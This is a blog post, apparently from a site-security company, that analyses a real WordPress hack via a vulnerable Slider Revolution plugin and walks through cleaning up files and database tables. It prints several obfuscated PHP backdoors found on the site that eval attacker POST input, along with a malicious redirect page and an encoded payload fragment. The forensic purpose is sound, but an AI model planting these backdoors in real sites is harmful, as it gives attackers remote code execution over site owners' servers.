WordPress is the most popular CMS in the world. Unfortunately, WordPress has not only gained the attention of millions of publishers, bloggers, small businesses and developers, but hackers as well. And whenever anything becomes this popular, you better believe someone is going to try to exploit it.
There are right around 1 billion websites online right now (as of Feb 2016). And according to Sucuri, a well-known & respected website security firm, their data suggests that about 1% of all websites are hacked or infected with malicious code.
From our own research, of the millions of websites that push through our scanning technology, we often see 2 – 5% of the them have some Indicator of Compromise (IoC) that signifies a hack. Granted, this might be a bit high, as the websites being scanned are often suspected of having an issue, so to be conservative we would extrapolate that to suggest about 1% of the total websites online are hacked or infected. To put that into perspective, we are talking somewhere in the neighborhood of 9 million websites that are currently hacked or infected.
Types of WordPress Hacks
A WordPress hack can come in several forms, but the two most common types of hacks exploit access control and software vulnerabilities. Software vulnerabilities include things like SQL Injection (SQLi), Cross-Site Scripting (XSS) and Inclusion Vulnerabilities (Local File Inclusion & Remote File Inclusion). Access Control is typically exploited using a Brute Force Attack. Sucuri has a great article that explains them all.
A Recent WordPress Hack Cleanup
So the story goes something like this…
I recently cleaned up a WordPress hack for a friend. It appeared as though the site was hacked a while ago, and the more I dove in, the more suspicious stuff I found. I documented all the malicious activity, in the files, the database, the WordPress admin, everywhere.
For those that have experienced a WordPress hack before, some of this might look familiar. But keep in mind, not all hacks are the same. This is one example of many different ways that a hacker might try to benefit from hacking your site.
Notes About This Particular WordPress Site
While I can’t say for certain what led to the attack, I observed the following when I first started to investigate the site:
- WordPress version: 4.2.2
- not up-to-date, but also not terribly old and/or vulnerable
- WordPress SEO plugin: version 1.7
- really outdated & likely vulnerable
- Revslider plugin (packaged w/ theme): version 3.0.8
- The author stated that the vulnerability was patched in February 2014 with the release of version 4.2. Any version older than this contains the vulnerability.
- This is likely what led to the WordPress hack
Slider Revolution Vulnerability
The particular site that I’m using as an example was likely exposed by the Slider Revolution vulnerability. The vulnerability was patched long before the hackers took advantage of it, but the problem was that Slider Revolution was being packaged with themes, and users were not updating their theme.
According to Sucuri, the hack started in August 2014. That’s right around the time I noticed suspicious activity on my example site, as well. This particular hack affected so many sites that the Envato Marketplace even released a comprehensive list of affected themes (and it’s quite long).
Local File Inclusion (LFI) Attack
The type of attack that was launched in response to this vulnerability is known as a Local File Inclusion (LFI) attack. It allows a remote attacker to download any file from your web server. In most cases, the attacker downloaded the wp-config.php
file, giving them access to your database credentials.
The attacker is then able to modify your database, and add all kinds of bad stuff. You’ll see what I’m talking about in a minute.
The Anatomy of a WordPress Hack
Thankfully, the Sucuri Security plugin was installed on the site, so I was able to analyze the security logs to look for suspicious activity. Google was also displaying the dreaded, “Your site may be hacked.” message on the SERP. There’s no question that foul play was involved. Let’s take a look at the damage.
We’ll start with the things I noticed in the WordPress admin area.
Suspicious Admin Users
One of the first ways I confirmed that WordPress was hacked was by the presence of about 10 users, all with Administrator privileges, that instantly looked out of place. Usernames like:
- administrator
- root
- admin, admin0, admin2, admin18, etc.
Suspicious Pages & Total Page Count
I missed this at first, but eventually realized there was a discrepancy in the total page count. The Dashboard widget showed over 3,000 pages, yet the All Pages screen only listed about 20. And the site itself only had 8.
With titles like “Girl date for free” and “Quick loans bad credit,” it was easy to spot the pages that didn’t belong. They also had no author assigned to them, which is impossible for a clean WordPress install. And the fact that the Dashboard listed over 3,000 pages told me something else was going on.
Suspicious Plugins
For this particular WordPress hack, the attacker also created several plugins, and they were listed out on the “Installed Plugins” page. I saw:
- 6 plugins all with the name WordPress Researcher; one was active, five were inactive
- Author: wordpressdotorg
- Description: WordPress research tool.
- Version: 2.2.4
- 1 inactive plugin named SEO Advisor
- Author: Phil Smitter
- Description: SEO Advisor
- Version: 1.2
WordPress Researcher
The plugin folders on the server looked like this: research_plugin_cQQx
. Each with a different random string at the end of the folder name.
5 of the 6 plugins just had 1 research_plugin.php
file in the plugin folder, and they all contained code that looked like this.
1 had the same research_plugin.php
file, in addition to a search.php
and footer.php
. Those two additional files had code that looked like this:
SEO Advisor
The plugin folder for SEO Advisor was labeled xcalendar
. Here are the contents of that folder:
xcalendar.php
– over 500 lines of codeoption.php
– very similar to the search.php & footer.php files above/data/
cache.php
– very similar to the search.php & footer.php files abovelefttopcorner.gif
– a random blue-to-white gradient (perhaps, just to make the plugin appear normal?)
Neither of these plugins were listed in the official WordPress plugin repository, and a quick search confirmed that they are not premium plugins either. Also, any time you have 6 of the same exact plugin installed, something’s definitely not right.
Now let’s take a look at the files on the server. We’ll go through WordPress core files, as well as the changes made to the /wp-content/
folder.
Uploads Folder
The WordPress site I was cleaning up split their uploads into year & month-based folders (ex: /2014/01/file.jpg
). With some help from the Sucuri Security plugin, I found several malicious files located in random folders throughout the /uploads/
folder. There appeared to be no pattern to where these files were placed, and they took on some of the following filenames:
error.php
diff.php
defines.php
list.php
view.php
start.php
The code all looked similar:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].
$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['na04af1'])) {eval($s21(${$s20}['na04af1']));}
?>
file.html
This file was added to the /wp-content/2014/
folder. It’s contents are still a little baffling to me today, but here’s what I found inside:
<html>
<head>
<script>window.location = "http://appartcafe.com/themes450/ext/index.html";</script>
</head>
<body>
<h1>Loading...</h1>
</body>
</html>
When I googled appartcafe, it appears to be a legitimate café in France.
/wp-content/index.php File
At the top of this file, I found more malicious code:
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q828e00'])){eval(${$s20}['q828e00']);}?>
The rest of the file was intact, this was just added to the top of it.
WordPress Core Files Hacked
When I ran the Sucuri scan, it came back with 258 severe matches for malicious code. Much of this code was found in WordPress core files. The wp-settings.php
file was infected, and many of the files within the /wp-includes/
folder. It’s safe to say that all of the WordPress core files needed to be replaced.
wp-config.php File
As I mentioned at the top of the article, gaining access to the wp-config.php file is a common way for attackers to manipulate your database. In addition to stealing your database credentials, there were two pieces of malicious code I found in this file.
At the top of the file:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n764b3b'])) {eval($s21(${$s20}['n764b3b']));}?>
At the very bottom of the file:
require_once(ABSPATH.'wp-content/plugins/xcalendar/xcalendar.php');
This is related to one of the suspicious plugins I mentioned earlier. It’s loading up the main file in the /xcalendar/
(or SEO Advisor) plugin, which has tons more malicious code of its own.
Random Hacked Files
A folder, with the name of the username used for FTP access, already existed on the server. It appears the hacker added a file called test.php
to this folder. I found more code similar to the above:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n93bc3c'])) {eval($s21(${$s20}['n93bc3c']));}?>
There was also a folder named /cdf/
that contained an index.php
file inside. I can’t say for certain this was added by the hacker, but it sure looked suspicious:
<?php $Wzuq7GjnF="xwoDO7oVcqxiW53UIff/VURFRPZBUCFvunbwmjcwsJ5e5CcbBQL+HauOS1tDlJa9vNnCf4I1OC3ezdo0lSSZnv+OkZOQ8+K/TAk1tYGA5r5/T+31LF0wqzWpY7VejNurfNlWlWU8sXJ/fGeFNPUXcqvLx7aKifeZlR6mPvqv3+TUei4aSUTsorfVHWNyF3ndzY6Z+6jqnayCCoMN1Rv+LiUb/IKaUaVtu4PUPlnGWx2nKn3L06AqQHmnbgSRksau8f...
That does it for the file changes. Now let’s assess the damage to the database. Buckle up. There’s a lot going on here.
I’m going to use wp_
as the table prefix in my examples, but you might be using a different table prefix.
wp_core_log_387 Database Table
This is not a standard table used in WordPress. The hacker added this table in its entirety, and there were over 28,000 records in it. The table only contained two columns: id
and info
. The id
field was sequential, counting up from 1. The info fields contained the following code:
a:5:{s:2:"ip";s:12:"207.46.13.25";s:4:"time";i:1437813465;s:3:"ref";N;s:2:"ua";s:71:"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)";s:3:"url";s:52:"http://vedereconsulting.com/easy-weight-loss-tricks/";}
Across the 28,000+ records, there were hundreds of different URLs, and multiple bots referenced for each URL. Googlebot was listed just as many times as Bingbot.
You should always create a backup before making any database changes (even when backing up a hacked database), but after you do so, this table can be completely removed (DROPped).
wp_posts Database Table
Several thousand malicious records were added to this table, as well. Of the 7,200 total records, 560 of them were legit. The rest were added by the hacker.
Here are a few data points that all the malicious entries had in common:
- All had the post_type of page
- All had the post_status of revision
- Assuming you don’t care about keeping revisions to your static pages, you can use this combination to identify & remove all the spam entries
- The very first spam entry that was added had a…
- post_name (or slug) of test-wp-page
- and a post_title of Test wp page
- Exactly one month after this test post was added, that’s when malicious entries started being added daily
- Anywhere from 10-150 malicious entries were added almost every day. A few days were skipped.
- All spam posts have a post_author of 0, which doesn’t exist in WordPress. This is probably the best way to identify & delete the spam entries.
Especially if you have created content since the WordPress hack occurred, this table will be the most difficult to clean up.
wp_postmeta Database Table
This table also contained spam entries. The best way I could think to identify them in this table was to:
- Make note of the
ID
in thewp_posts
table when the first spam post was published. - Sort by the
ID
field of thewp_postmeta
table, inDESC
order - For all post IDs that are related to the hack, you can delete the associated postmeta
wp_users, wp_usermeta Database Tables
If any malicious users were created by the hacker, these tables will be cleaned up when you delete those users in the WordPress admin area. However, you should double-check this table directly in the database, just to be sure.
Remaining Tables Appear NOT to be Infected
These database tables DID NOT appear to have any malicious code in them. But please always double-check to be sure.
- wp_terms
- wp_term_relationships
- wp_term_taxonomy
- wp_options
- wp_links
- wp_comments
- wp_commentmeta
As you can see with this particular WordPress hack, your WordPress admin, the files on your web server, and your database, will all be affected. Be as thorough as possible when assessing the hack, and if you aren’t sure what you’re doing, hire a WordPress security professional. Stay calm. Make a backup. And understand that millions of other sites are going through something similar.
I sincerely hope you never have to use this, but based on the WordPress hack data presented at the outset, there’s a decent chance you’ll encounter a WordPress hack at some point in your career. If you do, I hope this serves as a resource in helping you understand how your site was affected.
We Recommend
https://kinsta.com › wordpress-hosting
Fast and secure infrastructure, worldwide CDN, edge caching, 35 data centers, and enterprise-level features included in all plans. Free site migrations.
https://gravityforms.com › features
Create custom web forms to capture leads, collect payments, automate your workflows, and build your business online. All without ever leaving WordPress.
Leave a Comment